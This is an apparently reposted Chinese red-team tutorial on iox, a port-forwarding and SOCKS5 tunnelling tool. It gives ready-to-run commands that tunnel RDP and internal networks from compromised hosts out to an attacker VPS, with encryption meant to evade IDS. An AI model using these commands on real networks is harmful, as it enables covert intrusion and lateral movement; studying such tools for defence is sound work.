iox是一款类似于lcx/ew的端口转发 & 内网代理工具,功能类似于lcx/ew,相当于ew的升级版本了。用过ew的人都知道,要使用ew 进行多层内网穿透是比较麻烦的,特别对于新人来收没有一个清晰的思路,使用起来是比较困难的。
总体来说,该工具简化了ew/lcx 的一些参数,让使用更加方便。除此之外还提供了流量加密、并发、UDP流量转发等功能的优化。
- 流量加密(可选)
- 友好的命令行参数
- 逻辑优化
- UDP流量转发
- 反向代理模式中使用TCP多路复用
C:iox_v0.4-next_Windows_x86_64>iox.exe
iox v0.4
Access intranet easily (https://github.com/eddieivan01/iox)
Usage: iox fwd/proxy [-l [*][HOST:]PORT] [-r [*]HOST:PORT] [-k HEX] [-t TIMEOUT] [-u] [-h] [-v]
Options:
-l [*][HOST:]PORT
address to listen on. `*` means encrypted socket
-r [*]HOST:PORT
remote host to connect, HOST can be IP or Domain. `*` means encrypted socket
-k HEX
hexadecimal format key, be used to generate Key and IV
-u
udp forward mode
-t TIMEOUT
set connection timeout(millisecond), default is 5000
-v
enable log output
-h
print usage then exit
C:iox_v0.4-next_Windows_x86_64>iox.exe
iox v0.4
轻松访问内网(https://github.com/eddieivan01/iox)
用法:iox fwd/proxy [-l [*][HOST:]PORT] [-r [*]HOST:PORT] [-k HEX] [-t TIMEOUT] [-u] [-h] [-v]
选项:
-l [*][主机:]端口
收听地址。 `*` 表示加密套接字
-r [*]主机:端口
连接的远程主机,HOST 可以是IP 或Domain。 `*` 表示加密套接字
-k 十六进制
十六进制格式密钥,用于生成Key和IV
-u
UDP转发模式
-t 超时
设置连接超时时间(毫秒),默认5000
-v
启用日志输出
-H
打印使用情况然后退出
端口转发
监听 0.0.0.0:8888 和0.0.0.0:9999,将两个连接间的流量转发
./iox fwd -l 8888 -l 9999
监听0.0.0.0:8888,把流量转发到1.1.1.1:9999
./iox fwd -l 8888 -r 1.1.1.1:9999
连接1.1.1.1:8888和1.1.1.1:9999, 在两个连接间转发
./iox fwd -r 1.1.1.1:8888 -r 1.1.1.1:9999
代理穿透
在本地 0.0.0.0:1080启动Socks5服务
./iox proxy -l 1080
在被控机开启Socks5服务,将服务转发到公网VPS
在VPS上转发0.0.0.0:9999到0.0.0.0:1080
你必须将两条命令成对使用,因为它内部包含了一个简单的协议来控制回连
./iox proxy -r 1.1.1.1:9999
./iox proxy -l 9999 -l 1080 // 注意,这两个端口是有顺序的
接着连接内网主机
# proxychains.conf
# socks5://1.1.1.1:1080
$ proxychains rdesktop 192.168.0.100:3389
启用加密
举个栗子,我们把内网3389端口转发到VPS
// 被控主机
./iox fwd -r 192.168.0.100:3389 -r *1.1.1.1:8888 -k 656565
// 我们的VPS
./iox fwd -l *8888 -l 33890 -k 656565
很好理解:被控主机和VPS:8888之间的流量会被加密,预共享的密钥是'AAA',iox会用这个密钥生成种子密钥和nonce(正常来讲,不应该复用nonce。但是考虑到iox的加密功能仅仅为了绕过IDS等设备,为了不额外分配空间,TCP流加密会复用nonce),并用Xchacha20流加密 (在v0.3版本中用Xchacha20替换掉了AES-CTR)
所以,*应该成对使用
./iox fwd -l 1000 -r *127.0.0.1:1001 -k 000102
./iox fwd -l *1001 -r *127.0.0.1:1002 -k 000102
./iox fwd -l *1002 -r *127.0.0.1:1003 -k 000102
./iox proxy -l *1003 -k 000102
$ curl google.com -x socks5://127.0.0.1:1000
你也可以把iox当做一个简单的ShadowSocks来用:
// ssserver
./iox proxy -l *9999 -k 000102
// sslocal
./iox fwd -l 1080 -r *VPS:9999 -k 000102
UDP转发
只需要添加命令行参数:-u
./iox fwd -l 53 -r *127.0.0.1:8888 -k 000102 -u
./iox fwd -l *8888 -l *9999 -k 000102 -u
./iox fwd -r *127.0.0.1:9999 -r 8.8.8.8:53 -k 000102 -u
注意:当你做多级连接的转发时,Remote2Remote-UDP-mode必须最后一个被启动,也就是上面示例中的第三条
UDP转发可能会有一些不合你预期的行为。实际上,目前在GitHub上只有将本地监听的UDP流量转发到远程主机的例子,所以我只能以我的理解来实现。
使用实例
端口转发
将内网3389服务转发到vps的33899端口上
1、内网映射主机,内网目标机器的3389转发到vps的9999端口,并将流量转到vps的33899端口上
iox.exe fwd -r 172.23.119.159:3389 -r vps:9999
2、vps 监听9999端口和33899端口
3、测试连接是否转发成功
使用vps加33899端口成功连接到内网映射主机
加密传输
我们在上面的基本上,把流量进行加密传输。这里需要在-r和-l参数后目标地址前加一个*来表示加密。
1、内网映射主机
iox.exe fwd -r 172.23.119.159:3389 -r *vps:9999 -k 898989
2、VPS
iox.exe fwd -l *9999 -l 33899 -k 898989
3、连接测试
我们在vps上连接本地的33899端口,即可成功连接到内网映射主机的3389服务。
代理穿透—Socks5反向隧道![【红队】一款端口转发 & 内网代理工具 【红队】一款端口转发 & 内网代理工具]()
1、VPS 使用iox 监听9999端口和1080端口,第一个端口用来接受边界主机流量,第二个端口则是将流量转发给本地1080。
iox.exe proxy -l 9999 -l 1080
2、边界主机连接VPS,将流量转发给VPS的端口
iox.exe proxy -r ip:9999
3、kali 配置socks5客户端进行测试,成功访问到第二层网络主机
可以看到客户端将请求给vps 的1080端口,然后通过socks5隧道转发给内网第二层网络。
代理穿透—Socks5正向隧道
使用iox 搭建正向隧道比较简单,直接在WEB 边界机器执行proxy + 端口即可。
1、web 端执行如下命令,开启socks5正向代理
iox.exe proxy -l 9000
2、攻击机器配置socks5 代理,成功访问的第二层网络。
下载链接
原文始发于微信公众号(贝雷帽SEC):【红队】一款端口转发 & 内网代理工具
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论